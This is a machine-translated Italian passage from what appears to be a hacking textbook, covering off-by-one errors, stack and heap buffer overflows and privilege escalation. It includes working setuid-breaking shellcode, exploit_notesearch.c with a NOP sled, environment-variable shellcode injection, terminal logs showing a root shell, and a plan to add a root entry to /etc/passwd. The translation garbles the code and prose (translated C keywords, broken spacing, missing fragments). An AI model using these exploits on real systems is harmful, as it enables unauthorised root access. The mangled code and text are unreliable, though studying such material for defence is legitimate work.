play_again = 0; // quindi torna al menu principale.
Programmazione 107
Pagina 122
}
}
if (player.credits == 0) {
printf ("Non hai crediti per scommettere! \ n \ n");
return -1;
}
while (scommessa == -1)
scommessa = take_wager (player.credits, 0);
108 0x200
Pagina 123
j = i + 1;
while (j <16) {
if (numeri [i] == numeri [j])
match = numeri [i];
j ++;
}
}
if (match! = -1) {
printf ("Il mazziere ha trovato il numero% d! \ n", match);
printf ("Perdi% d crediti. \ n", scommessa);
player.credits - = scommessa;
} altro {
printf ("Non c'erano corrispondenze! Hai vinto% d crediti! \ n", scommessa);
player.credits + = wager;
}
return 0;
}
if (player.credits == 0) {
printf ("Non hai crediti per scommettere! \ n \ n");
return -1;
}
while (wager_one == -1) // Loop fino a quando non viene fatta una scommessa valida.
wager_one = take_wager (player.credits, 0);
Pagina 124
invalid_choice = 1;
while (invalid_choice) { // Ciclo finché non viene effettuata una scelta valida.
printf ("Vorresti: \ n [c] appendere la tua scelta \ tor \ t [i] n aumentare la tua scommessa? \ n");
printf ("Seleziona c o i:");
choice_two = '\ n';
while (choice_two == '\ n') // Scarica le nuove righe extra.
scanf ("% c", & choice_two);
if (choice_two == 'i') {// Aumenta la puntata.
invalid_choice = 0; // Questa è una scelta valida.
while (wager_two == -1) // Continua finché non viene effettuata una seconda scommessa valida.
wager_two = take_wager (player.credits, wager_one);
}
if (choice_two == 'c') {// Cambia scelta.
i = scelta_valida = 0; // Scelta valida
while (i == pick || cards [i] == 'Q') // Loop fino all'altra carta
i ++; // è stato trovato,
pick = i; // e quindi scambia selezione.
printf ("La tua carta scelta è stata cambiata in carta% d \ n", scegli + 1);
}
}
Poiché si tratta di un programma multiutente che scrive su un file nella directory / var-
ectory, deve essere suid root.
110 0x200
Pagina 125
Programmazione 111
Pagina 126
112 0x200
Pagina 127
Programmazione 113
Pagina 128
114 0x200
Pagina 129
0x300 SFRUTTAMENTO
Pagina 130
Un programma può fare solo ciò per cui è programmato, alla lettera della legge.
Sfortunatamente, ciò che è scritto non coincide sempre con ciò che il programma-
mer voleva che il programma facesse. Questo principio può essere spiegato con una battuta:
Un uomo sta camminando nel bosco e trova una lampada magica accesa
il terreno. Istintivamente, prende la lampada, ne strofina il lato
con la manica, ed esce un genio. Il genio ringrazia l'uomo per
liberandolo, e si offre di esaudirgli tre desideri. L'uomo è estatico
e sa esattamente cosa vuole.
L'uomo ha gli occhi spalancati per lo stupore e continua: "Il prossimo, voglio
una Ferrari. "
Proprio come il desiderio finale dell'uomo è stato esaudito in base a ciò che ha detto, piuttosto
rispetto a quello che stava pensando, un programma seguirà esattamente le sue istruzioni, e
i risultati non sono sempre quelli che il programmatore intendeva. A volte il file
le ripercussioni possono essere catastrofiche.
I programmatori sono umani e talvolta ciò che scrivono non è esattamente
cosa significano. Ad esempio, un errore di programmazione comune è chiamato
errore off-by-one . Come suggerisce il nome, è un errore in cui ha il programmatore
contato male da uno. Questo accade più spesso di quanto potresti pensare, e lo è
illustrato al meglio con una domanda: se stai costruendo una recinzione di 100 piedi, con recinzione
pali distanziati di 10 piedi l'uno dall'altro, di quanti pali hai bisogno? L'ovvio
la risposta è di 10 paletti, ma non è corretto, poiché in realtà ne servono 11. Questo
il tipo di errore off-by-one è comunemente chiamato errore fencepost e si verifica quando un file
il programmatore conta erroneamente gli elementi invece degli spazi tra gli elementi, o
vice versa. Un altro esempio è quando un programmatore sta cercando di selezionare un intervallo di
numeri o note per la lavorazione, ad esempio elementi N attraverso M . Se N = 5 e M = 17 ,
quanti articoli ci sono da elaborare? La risposta ovvia è M - N , o 17 - 5 = 12
elementi. Ma questo non è corretto, poiché in realtà ci sono M - N + 1 elementi, per un totale
di 13 elementi. A prima vista questo può sembrare controintuitivo, perché lo è, e
questo è esattamente il motivo per cui si verificano questi errori.
Spesso, gli errori di fencepost passano inosservati perché i programmi non vengono testati
ogni singola possibilità e gli effetti di un errore di fencepost generalmente non lo fanno
si verificano durante la normale esecuzione del programma. Tuttavia, quando il programma viene alimentato
l'input che rende manifesti gli effetti dell'errore, le conseguenze del
l'errore può avere un effetto valanga sul resto della logica del programma. quando
adeguatamente sfruttato, un errore off-by-one può causare un programma apparentemente sicuro
per diventare una vulnerabilità di sicurezza.
Un classico esempio di questo è OpenSSH, che è pensato per essere un sicuro
suite di programmi di comunicazione terminale, progettata per sostituire insicure e
116 0x300
Pagina 131
Sfruttamento 117
Pagina 132
non dire esattamente ciò che intendevano i loro creatori e come un programma per computer
exploit, queste scappatoie legali possono essere utilizzate per eludere l'intento della legge.
Verso la fine del 1993, un hacker di computer di 21 anni e studente al MIT
denominato David LaMacchia ha istituito un sistema di bacheca chiamato Cynosure per
gli scopi della pirateria del software. Coloro che avevano software da dare avrebbero caricato
e coloro che volevano il software lo avrebbero scaricato. Il servizio era solo
online per circa sei settimane, ma ha generato un intenso traffico di rete in tutto il mondo,
che alla fine ha attirato l'attenzione delle autorità universitarie e federali.
Le società di software hanno affermato di aver perso un milione di dollari a causa di
Cynosure e un gran giurì federale hanno accusato LaMacchia di un conteggio di
cospirando con sconosciuti per violare la statua della frode. Però,
l'accusa è stata archiviata perché ciò che avrebbe fatto LaMacchia
non è stata una condotta criminale ai sensi del Copyright Act, dopo la violazione
non era a scopo di vantaggio commerciale o di guadagno finanziario privato.
A quanto pare, i legislatori non avevano mai previsto che qualcuno potesse impegnarsi
in questi tipi di attività con un motivo diverso dal guadagno economico personale.
(Il Congresso ha chiuso questa scappatoia nel 1997 con il No Electronic Theft Act.)
Anche se questo esempio non implica lo sfruttamento di un computer
programma, i giudici e i tribunali possono essere considerati come computer in esecuzione
il programma del sistema legale così come è stato scritto. I concetti astratti di
l'hacking trascende l'informatica e può essere applicato a molti altri aspetti
di vita che coinvolgono sistemi complessi.
118 0x300
Pagina 133
overflow_example.c
#include <stdio.h>
#include <string.h>
printf ("[PRIMA] buffer_two è in% p e contiene \ '% s \' \ n", buffer_two, buffer_two);
printf ("[BEFORE] buffer_one è in% p e contiene \ '% s \' \ n", buffer_one, buffer_one);
printf ("[PRIMA] il valore è a% p ed è% d (0x% 08x) \ n", & value, value, value);
printf ("\ n [STRCPY] copiando% d byte in buffer_two \ n \ n", strlen (argv [1]));
strcpy (buffer_two, argv [1]); / * Copia il primo argomento in buffer_two. * /
printf ("[DOPO] buffer_two è in% p e contiene \ '% s \' \ n", buffer_two, buffer_two);
printf ("[DOPO] buffer_one è in% p e contiene \ '% s \' \ n", buffer_one, buffer_one);
printf ("[DOPO] il valore è a% p ed è% d (0x% 08x) \ n", & value, value, value);
}
Sfruttamento 119
Pagina 134
A questo punto, dovresti essere in grado di leggere il codice sorgente sopra e capirlo
cosa fa il programma. Dopo la compilazione nell'output di esempio di seguito, proviamo
per copiare dieci byte dal primo argomento della riga di comando in buffer_two , che
ha solo otto byte allocati per esso.
Questi tipi di crash del programma sono abbastanza comuni: pensa a tutti i
volte un programma si è arrestato in modo anomalo o ha visualizzato una schermata blu. Il programmatore
l'errore è uno di omissione: dovrebbe esserci un controllo della lunghezza o una restrizione
l'input fornito dall'utente. Questi tipi di errori sono facili da fare e possono esserlo
difficile da individuare. In effetti, il programma notesearch.c a pagina 93 contiene un buffer
bug di overflow. Potresti non averlo notato fino ad ora, anche se tu
conoscevano già C.
120 0x300
Pagina 135
exploit_notesearch.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode [] =
"\ x31 \ xc0 \ x31 \ xdb \ x31 \ xc9 \ x99 \ xb0 \ xa4 \ xcd \ x80 \ x6a \ x0b \ x58 \ x51 \ x68"
"\ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x51 \ x89 \ xe2 \ x53 \ x89"
"\ xe1 \ xcd \ x80";
Il codice sorgente di questo exploit verrà spiegato in dettaglio più avanti, ma in generale,
sta solo generando una stringa di comando che eseguirà il programma di ricerca delle note
gram con un argomento della riga di comando tra virgolette singole. Usa la stringa
funzioni per fare ciò: strlen () per ottenere la lunghezza corrente della stringa (in position
il puntatore del buffer) e strcat () per concatenare le virgolette singole di chiusura al file
fine. Infine, la funzione di sistema viene utilizzata per eseguire la stringa di comando.
Il buffer che viene generato tra le virgolette singole è la vera carne del
sfruttare. Il resto è solo un metodo di consegna per questa pillola velenosa di dati. Orologio
cosa può fare un incidente controllato.
Sfruttamento 121
Pagina 136
L'exploit è in grado di utilizzare l'overflow per fornire una shell di root, fornendo
pieno controllo sul computer. Questo è un esempio di un buffer basato sullo stack
exploit di overflow.
auth_overflow.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
return auth_flag;
}
Questo programma di esempio accetta una password come unica riga di comando
argomento e quindi chiama una funzione check_authentication () . Questa funzione
consente due password, intese per essere rappresentative di più autenticazioni
122 0x300
Pagina 137
Accesso negato.
lettore @ hacking: ~ / booksrc $ ./auth_overflow brillig
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Accesso garantito.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
lettore @ hacking: ~ / booksrc $ ./auth_overflow outgrabe
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Accesso garantito.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
lettore @ hacking: ~ / booksrc $
Finora, tutto funziona come il codice sorgente dice che dovrebbe. Questo deve essere
atteso da qualcosa di deterministico come un programma per computer. Ma un
overflow può portare a comportamenti inaspettati e persino contraddittori, permettendo
accesso senza una password adeguata.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Accesso garantito.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
lettore @ hacking: ~ / booksrc $
Sfruttamento 123
Pagina 138
Il debugger GDB viene avviato con l' opzione -q per sopprimere il benvenuto
banner e i punti di interruzione sono impostati sulle righe 9 e 16. Quando il programma viene eseguito,
l'esecuzione si fermerà a questi breakpoint e ci darà la possibilità di esaminarli
memoria.
124 0x300
Pagina 139
(gdb) continua
Continuando.
(gdb) continua
Continuando.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Accesso garantito.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Sfruttamento 125
Pagina 140
auth_overflow2.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
return auth_flag;
}
126 0x300
Pagina 141
(gdb) cont
Continuando.
Sfruttamento 127
Pagina 142
(gdb) c
Continuando.
Ricordiamo dal capitolo precedente che la pila è una delle cinque memorie
segmenti utilizzati dai programmi. Lo stack è una struttura dati FILO utilizzata per
mantenere il flusso di esecuzione e il contesto per le variabili locali durante le chiamate di funzione.
Quando viene chiamata una funzione, una struttura chiamata stack frame viene calettata
lo stack e il registro EIP salta al file
prima istruzione della funzione. Ogni pila return_value variabile
128 0x300
Pagina 143
12 auth_flag = 1;
13 if (strcmp (password_buffer, "outgrabe") == 0)
14 auth_flag = 1;
15
16 return auth_flag;
17}
18
19 int main (int argc, char * argv []) {
20 if (argc <2) {
(gdb)
21 printf ("Utilizzo:% s <password> \ n", argv [0]);
22 uscita (0);
23 }
24 if (check_authentication (argv [1])) {
25 printf ("\ n - = - = - = - = - = - = - = - = - = - = - = - = - = - \ n");
26 printf ("Accesso concesso. \ n");
27 printf ("- = - = - = - = - = - = - = - = - = - = - = - = - = - \ n");
28 } altro {
29 printf ("\ nAccesso negato. \ n");
30 }
(gdb) pausa 24
Breakpoint 1 in 0x80484ab: file auth_overflow2.c, riga 24.
(gdb) break 9
Breakpoint 2 a 0x8048421: file auth_overflow2.c, riga 9.
(gdb) pausa 16
Punto di interruzione 3 in 0x804846f: file auth_overflow2.c, riga 16.
(gdb) eseguire AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Programma di partenza: /home/reader/booksrc/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Sfruttamento 129
Pagina 144
(gdb) c
Continuando.
130 0x300
Pagina 145
L'indirizzo di ritorno in uno stack frame può essere individuato mediante comprensione
come viene creato lo stack frame. Questo processo inizia nella funzione main () ,
anche prima della chiamata alla funzione.
Sfruttamento 131
Pagina 146
Notare le due linee mostrate in grassetto a pagina 131. A questo punto, l'EAX
register contiene un puntatore al primo argomento della riga di comando. Questo è anche il file
argomento per check_authentication () . Questa prima istruzione di assemblaggio scrive EAX
nel punto in cui punta ESP (la parte superiore della pila). Questo avvia lo stack frame per
con l'argomento della funzione. La seconda istruzione
check_authentication ()
è la chiamata effettiva. Questa istruzione spinge l'indirizzo dell'istruzione successiva
nello stack e sposta il registro del puntatore di esecuzione (EIP) all'inizio del file
. L'indirizzo inserito nello stack è il ritorno
funzione check_authentication ()
indirizzo per lo stack frame. In questo caso, l'indirizzo dell'istruzione successiva è
0x080484bb , quindi questo è l'indirizzo del mittente.
...
132 0x300
Pagina 147
(gdb) cont
Continuando.
Quando alcuni byte dell'indirizzo del mittente salvato vengono sovrascritti, il file
il programma proverà comunque a utilizzare quel valore per ripristinare il registro del puntatore di esecuzione
ter (EIP). Ciò di solito si traduce in un arresto anomalo, poiché l'esecuzione è essenzialmente saltellante
in una posizione casuale. Ma questo valore non deve essere casuale. Se il
la scrittura è controllata, l'esecuzione può, a sua volta, essere controllata per passare a uno specifico
Posizione. Ma dove dovremmo dirgli di andare?
Sfruttamento 133
Pagina 148
reader @ hacking: ~ / booksrc $ perl -e 'print "A" x20. "BCD". "\ x61 \ x66 \ x67 \ x69" x2. "Z"; "
AAAAAAAAAAAAAAAAAAAABCDafgiafgiZ
Un intero comando di shell può essere eseguito come una funzione, restituendo il suo
uscita in atto. Questo viene fatto racchiudendo il comando tra parentesi
e anteponendo un segno di dollaro. Ecco due esempi:
Sostituzione dei comandi e Perl possono essere usati in combinazione per rapidamente
generare buffer di overflow al volo. Puoi usare questa tecnica per testare facilmente
il programma overflow_example.c con buffer di lunghezze precise.
134 0x300
Pagina 149
(gdb) esci
reader @ hacking: ~ / booksrc $ ./overflow_example $ (perl -e 'print "A" x20. "ABCD"')
[BEFORE] buffer_two è a 0xbffff7e0 e contiene "due"
[BEFORE] buffer_one è a 0xbffff7e8 e contiene "uno"
[PRIMA] il valore è 0xbffff7f4 ed è 5 (0x00000005)
Nell'output sopra, GDB viene utilizzato come calcolatrice esadecimale per calcolare
la distanza tra buffer_two ( 0xbfffff7e0 ) e la variabile value
( 0xbffff7f4 ), che risulta essere di 20 byte. Usando questa distanza, il valore
variabile viene sovrascritta con il valore esatto 0x44434241 , poiché i caratteri A ,
B , C e D hanno i valori esadecimali di 0x41 , 0x42 , 0x43 e 0x44 , rispettivamente. Il
il primo carattere è il byte meno significativo, a causa dell'architettura little-endian
tura. Ciò significa che se si desidera controllare la variabile valore con qualcosa
esatto, come 0xdeadbeef , devi scrivere quei byte in memoria in ordine inverso.
lettore @ hacking: ~ / booksrc $ ./overflow_example $ (perl -e 'print "A" x20. "\ xef \ xbe \ xad \ xde"')
[BEFORE] buffer_two è a 0xbffff7e0 e contiene "due"
[BEFORE] buffer_one è a 0xbffff7e8 e contiene "uno"
[PRIMA] il valore è 0xbffff7f4 ed è 5 (0x00000005)
Questa tecnica può essere applicata per sovrascrivere l'indirizzo del mittente nel file
programma auth_overflow2.c con un valore esatto. Nell'esempio seguente, lo faremo
sovrascrivere l'indirizzo del mittente con un indirizzo diverso in main () .
Sfruttamento 135
Pagina 150
lettore @ hacking: ~ / booksrc $ ./auth_overflow2 $ (perl -e 'print "\ xbf \ x84 \ x04 \ x08" x10')
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Accesso garantito.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Errore di segmentazione (core dump)
lettore @ hacking: ~ / booksrc $
136 0x300
Pagina 151
Sfruttamento 137
Pagina 152
20 offset = atoi (argv [1]);
(gdb)
21
22 ret = (unsigned int) & i - offset; // Imposta l'indirizzo di ritorno.
23
24 for (i = 0; i <160; i + = 4) // Riempi il buffer con l'indirizzo di ritorno.
25 * ((unsigned int *) (buffer + i)) = ret;
26 memset (buffer, 0x90, 60); // Costruisci la slitta NOP.
27 memcpy (buffer + 60, shellcode, sizeof (shellcode) -1);
28
29 strcat (comando, "\ '");
30
(gdb) pausa 26
Breakpoint 1 in 0x80485fa: file exploit_notesearch.c, riga 26.
(gdb) pausa 27
Breakpoint 2 a 0x8048615: file exploit_notesearch.c, riga 27.
(gdb) break 28
Breakpoint 3 in 0x8048633: file exploit_notesearch.c, riga 28.
(gdb)
(gdb) esegui
Avvio del programma: /home/reader/booksrc/a.out
138 0x300
Pagina 153
(gdb) cont
Continuando.
(gdb) cont
Continuando.
Sfruttamento 139
Pagina 154
chiamato la slitta NOP, che può aiutare con questo difficile imbroglio. NOP è un file
istruzioni di montaggio che è breve per nessuna operazione . È un'istruzione a byte singolo
che non fa assolutamente nulla. Queste istruzioni sono talvolta utilizzate per sprecare
cicli di calcolo per scopi di temporizzazione e sono effettivamente necessari in
Architettura del processore Sparc, grazie al pipelining delle istruzioni. In questo caso, NOP
le istruzioni verranno utilizzate per uno scopo diverso: come fattore di confusione.
Creeremo un ampio array (o slitta) di queste istruzioni NOP e lo posizioneremo
prima dello shellcode; quindi, se il registro EIP punta a un indirizzo trovato in
la slitta NOP, incrementerà durante l'esecuzione di ciascuna istruzione NOP, una in
una volta, finché non raggiunge finalmente lo shellcode. Ciò significa che fintanto che il file
l'indirizzo di ritorno viene sovrascritto con qualsiasi indirizzo trovato nella slitta NOP, l'EIP
register farà scorrere la slitta verso lo shellcode, che verrà eseguito correttamente.
Sull'architettura x 86, l'istruzione NOP è equivalente al byte esadecimale
0x90. Ciò significa che il nostro buffer di exploit completato ha un aspetto simile a questo:
Anche con una slitta NOP, la posizione approssimativa del buffer in memoria
deve essere previsto in anticipo. Una tecnica per approssimare la memoria
location consiste nell'usare una posizione dello stack vicina come quadro di riferimento. Per sottrazione
ing un offset da questa posizione, l'indirizzo relativo di qualsiasi variabile può essere
ottenuto.
Da exploit_notesearch.c
140 0x300
Pagina 155
Sfruttamento 141
Pagina 156
Quando viene utilizzato l'offset destro, l'indirizzo del mittente viene sovrascritto con un
valore che punta da qualche parte sulla slitta NOP. Quando l'esecuzione tenta di tornare
in quella posizione, scorrerà semplicemente lungo la slitta NOP nello shellcode iniettato
Istruzioni. Questo è il modo in cui è stato scoperto il valore di offset predefinito.
142 0x300
Pagina 157
35: *. Mpg = 01; 35: *. Mpeg = 01; 35: *. Avi = 01; 35: *. Fli = 01; 35: *. Gl = 01; 35: *. Dl = 01; 35: * .xcf = 01; 35: *. xwd = 01;
35: *. Flac = 01; 35: *. Mp3 = 01; 35: *. Mpc = 01; 35: *. Ogg = 01; 35: *. Wav = 01; 35:
SSH_AUTH_SOCK = / tmp / ssh-EpSEbS7489 / agent.7489
GNOME_KEYRING_SOCKET = / tmp / portachiavi-AyzuEi / socket
SESSION_MANAGER = local / hacking: /tmp/.ICE-unix/7489
USERNAME = lettore
DESKTOP_SESSION = default.desktop
PERCORSO = / usr / local / sbin: / usr / local / bin: / usr / sbin: / usr / bin: / sbin: / bin: / usr / games
GDM_XSERVER_LOCATION = locale
PWD = / home / reader / booksrc
LANG = en_US.UTF-8
GDMSESSION = default.desktop
HISTCONTROL = ignora entrambi
HOME = / home / lettore
SHLVL = 1
GNOME_DESKTOP_SESSION_ID = Predefinito
LOGNAME = lettore
DBUS_SESSION_BUS_ADDRESS = unix: abstract = / tmp / dbus-
DxW6W1OH1O, guid = 4f4e0e9cc6f68009a059740046e28e35
MENO APERTO = | / usr / bin / lesspipe% s
DISPLAY =: 0.0
MYVAR = test
MENO CHIUDI = / usr / bin / lesspipe% s% s
RUNNING_UNDER_GDM = sì
COLORTERM = gnome-terminal
XAUTHORITY = / home / reader / .Xauthority
_ = / usr / bin / env
lettore @ hacking: ~ / booksrc $
Allo stesso modo, lo shellcode può essere inserito in una variabile d'ambiente, ma
prima deve essere in una forma che possiamo facilmente manipolare. Lo shellcode da
può essere utilizzato l'exploit notesearch; dobbiamo solo metterlo in un file in binario
modulo. Gli strumenti shell standard di head , grep e cut possono essere usati per isolare solo
i byte espansi esadecimali dello shellcode.
Sfruttamento 143
Pagina 158
\ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x51 \ x89 \ xe2 \ x53 \ x89
\ xe1 \ xcd \ x80
lettore @ hacking: ~ / booksrc $
Le prime 10 righe del programma vengono convogliate in grep , che mostra solo il file
righe che iniziano con virgolette. Questo isola le righe che contengono
lo shellcode, che viene quindi convogliato in taglio utilizzando le opzioni per visualizzare solo il file
byte tra due virgolette.
Il ciclo for di BASH può effettivamente essere utilizzato per inviare ciascuna di queste righe a un file
comando echo , con opzioni della riga di comando per riconoscere l'espansione esadecimale e
per sopprimere l'aggiunta di un carattere di nuova riga alla fine.
reader @ hacking: ~ / booksrc $ for i in $ (head exploit_notesearch.c | grep "^ \" "| cut -d \" -f2)
> fare
> echo -en $ i
> fatto> shellcode.bin
lettore @ hacking: ~ / booksrc $ hexdump -C shellcode.bin
00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 | 1.1.1 ...... j.XQh |
00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 | //shh/bin..Q..S. |
00000020 e1 cd 80 | ... |
00000023
lettore @ hacking: ~ / booksrc $
Ora abbiamo lo shellcode in un file chiamato shellcode.bin. Questo può essere utilizzato
con la sostituzione del comando per mettere lo shellcode in una variabile d'ambiente,
insieme ad una generosa slitta NOP.
reader @ hacking: ~ / booksrc $ export SHELLCODE = $ (perl -e 'print "\ x90" x200') $ (cat shellcode.bin)
lettore @ hacking: ~ / booksrc $ echo $ SHELLCODE
111 j
XQh // shh / bin QS
lettore @ hacking: ~ / booksrc $
144 0x300
Pagina 159
Viene impostato un punto di interruzione all'inizio di main () e il programma viene eseguito.
Questo imposterà la memoria per il programma, ma si fermerà prima di tutto
accade. Ora possiamo esaminare la memoria verso il fondo dello stack.
(gdb) ir esp
esp 0xbffff660 0xbffff660
(gdb) x / 24s $ esp + 0x240
0xbffff8a0: ""
0xbffff8a1: ""
0xbffff8a2: ""
0xbffff8a3: ""
0xbffff8a4: ""
0xbffff8a5: ""
0xbffff8a6: ""
0xbffff8a7: ""
0xbffff8a8: ""
0xbffff8a9: ""
0xbffff8aa: ""
0xbffff8ab: "i686"
0xbffff8b0: "/ home / reader / booksrc / notesearch"
0xbffff8d0: "SSH_AGENT_PID = 7531"
0xbffffd56: "SHELLCODE =", "\ 220" <si ripete 190 volte> ...
0xbffff9ab: "\ 220 \ 220 \ 220 \ 220 \ 220 \ 220 \ 220 \ 220 \ 220 \ 2201�1�1� \ 231��� \ 200j \ vXQh //
shh / bin \ 211�Q \ 211�S \ 211�� \ 200 "
0xbffff9d9: "TERM = xterm"
0xbffff9e4: "DESKTOP_STARTUP_ID ="
0xbffff9f8: "SHELL = / bin / bash"
0xbffffa08: "GTK_RC_FILES = / etc / gtk / gtkrc: /home/reader/.gtkrc-1.2-gnome2"
0xbffffa43: "WINDOWID = 39845969"
0xbffffa55: "USER = lettore"
0xbffffa61:
"LS_COLORS = no = 00: fi = 00: di = 01; 34: ln = 01; 36: pi = 40; 33: so = 01; 35: do = 01; 35: bd = 40; 33; 01: cd = 40; 33; 01: o =
40; 31; 01: su = 37; 41: sg = 30; 43: tw = 30; 42: ow = 34; 42: st = 37; 44: ex = 01; 32: *. Tar = 01; 31: * .tgz = 01; 31: *. arj = 01
; 31: *. Taz = 0 "...
0xbffffb29:
"1; 31: *. Lzh = 01; 31: *. Zip = 01; 31: *. Z = 01; 31: *. Z = 01; 31: *. Gz = 01; 31: *. Bz2 = 01 ; 31: *. Deb = 01; 31: *. Rpm = 01; 3
1: *. Jar = 01; 31: *. Jpg = 01; 35: *. Jpeg = 01; 35: *. Gif = 01; 35: *. Bmp = 01; 35: *. Pbm = 01; 35: * .pgm = 01; 35: *. ppm = 01
; 35: *. Tga = 0 "...
(gdb) x / s 0xbffff8e3
0xbffff8e3: "SHELLCODE =", "\ 220" <si ripete 190 volte> ...
(gdb) x / s 0xbffff8e3 + 100
0xbffff947: "\ 220" <si ripete 110 volte>, "1�1�1� \ 231��� \ 200j \ vXQh // shh / bin \
211�Q \ 211�S \ 211�� \ 200 "
(gdb)
Sfruttamento 145
Pagina 160
lettore @ hacking: ~ / booksrc $ ./notesearch $ (perl -e 'print "\ x47 \ xf9 \ xff \ xbf" x40')
[DEBUG] ha trovato una nota di 34 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 41 byte per l'ID utente 999
------- [dati di fine nota] -------
sh-3.2 # whoami
radice
sh-3.2 #
getenv_example.c
#include <stdio.h>
#include <stdlib.h>
Questo è abbastanza preciso con una grande slitta NOP, ma quando è la stessa cosa
viene tentato senza una slitta, il programma si blocca. Ciò significa che l'ambiente
la previsione è ancora disattivata.
146 0x300
Pagina 161
lettore @ hacking: ~ / booksrc $ ./notesearch $ (perl -e 'print "\ x46 \ xff \ xff \ xbf" x40')
[DEBUG] ha trovato una nota di 34 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 41 byte per l'ID utente 999
------- [dati di fine nota] -------
Errore di segmentazione
lettore @ hacking: ~ / booksrc $
getenvaddr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
Sfruttamento 147
Pagina 162
if (argc <3) {
printf ("Utilizzo:% s <var ambiente> <nome programma di destinazione> \ n", argv [0]);
uscita (0);
}
ptr = getenv (argv [1]); / * Ottieni la posizione della variabile env. * /
ptr + = (strlen (argv [0]) - strlen (argv [2])) * 2; / * Regola il nome del programma. * /
printf ("% s sarà a% p \ n", argv [1], ptr);
}
Una volta compilato, questo programma può prevedere con precisione dove un ambiente
La variabile ment sarà in memoria durante l'esecuzione di un programma di destinazione. Questo
può essere utilizzato per sfruttare buffer overflow basati su stack senza la necessità di un file
Slitta NOP.
Come puoi vedere, il codice di exploit non è sempre necessario per sfruttare i programmi. Il
l'uso di variabili d'ambiente semplifica notevolmente le cose durante lo sfruttamento
dalla riga di comando, ma queste variabili possono essere usate anche per fare exploit
codice più affidabile.
La funzione system () viene utilizzata nel programma notesearch_exploit.c per
eseguire un comando. Questa funzione avvia un nuovo processo ed esegue il
mand usando / bin / sh -c . Il -c dice al sh programma per eseguire comandi
dall'argomento della riga di comando passato ad esso. La ricerca del codice di Google può
essere utilizzato per trovare il codice sorgente di questa funzione, che ci dirà di più.
Vai a http://www.google.com/codesearch?q=package:libc+system per vedere
questo codice nella sua interezza.
Codice da libc-2.2.2
148 0x300
Pagina 163
exploit_notesearch_env.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char shellcode [] =
"\ x31 \ xc0 \ x31 \ xdb \ x31 \ xc9 \ x99 \ xb0 \ xa4 \ xcd \ x80 \ x6a \ x0b \ x58 \ x51 \ x68"
"\ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x51 \ x89 \ xe2 \ x53 \ x89"
"\ xe1 \ xcd \ x80";
Sfruttamento 149
Pagina 164
Questo exploit è più affidabile, poiché non necessita di una slitta NOP o altro
congetture per quanto riguarda gli offset. Inoltre, non avvia alcun processo aggiuntivo.
Estratto da notetaker.c
150 0x300
Pagina 165
Come previsto, quando vengono provati 104 byte, il byte di terminazione null
scorre all'inizio del buffer del file di dati . Ciò causa il file di dati
essere nient'altro che un singolo byte nullo, che ovviamente non può essere aperto come file.
Ma cosa succede se il buffer del file di dati viene sovrascritto con qualcosa di più di un semplice file
byte nullo?
Sfruttamento 151
Pagina 166
Questa volta, l'overflow è progettato per sovrascrivere il buffer del file di dati con
la stringa testfile . Ciò fa sì che il programma scriva nel file di prova invece che
/ var / notes, come era stato originariamente programmato per fare. Tuttavia, quando il file heap
la memoria viene liberata dal comando free () , gli errori nelle intestazioni dell'heap lo sono
rilevato e il programma viene terminato. Simile all'indirizzo del mittente
sovrascrivi con overflow dello stack, ci sono punti di controllo all'interno dell'heap
l'architettura stessa. La versione più recente di glibc utilizza la memoria heap
funzioni di gestione che si sono evolute appositamente per contrastare l'heap
scollegare gli attacchi. Dalla versione 2.2.5, queste funzioni sono state riscritte
per stampare le informazioni di debug e terminare il programma quando
rilevare problemi con le informazioni sull'intestazione dell'heap. Questo fa mucchio
scollegare in Linux è molto difficile. Tuttavia, questo particolare exploit no
usa le informazioni sull'intestazione dell'heap per fare la sua magia, quindi per il momento viene chiamato free () ,
il programma è già stato indotto a scrivere su un nuovo file con root
privilegi.
152 0x300
Pagina 167
Una stringa viene letta finché non viene rilevato un byte nullo, quindi l'intera stringa è
scritto nel file come input utente . Poiché questo è un programma root suid, il file
che viene creato è di proprietà di root. Ciò significa anche che poiché il nome del file può
essere controllato, i dati possono essere aggiunti a qualsiasi file. Questi dati ne hanno alcuni
restrizioni, però; deve terminare con il nome del file controllato e una riga con
verrà scritto anche l'ID utente.
Ci sono probabilmente diversi modi intelligenti per sfruttare questo tipo di capacità.
Il più evidente sarebbe aggiungere qualcosa a / etc / passwd
file. Questo file contiene tutti i nomi utente, gli ID e le shell di accesso per tutti i file
utenti del sistema. Naturalmente, questo è un file di sistema critico, quindi è una buona idea
per fare una copia di backup prima di manipolarla troppo.
I campi nel file / etc / passwd sono delimitati da due punti, il primo campo
essendo per nome di accesso, quindi password, ID utente, ID gruppo, nome utente, casa
directory e infine la shell di login. I campi della password sono tutti riempiti con
il carattere x , poiché le password crittografate sono archiviate altrove in un file
file shadow. (Tuttavia, questo campo può contenere la password crittografata.)
Inoltre, verrà fornita qualsiasi voce nel file delle password con ID utente 0
privilegi di root. Ciò significa che l'obiettivo è aggiungere una voce aggiuntiva con
entrambi i privilegi di root e una password nota per il file delle password.
La password può essere crittografata utilizzando un algoritmo di hashing unidirezionale.
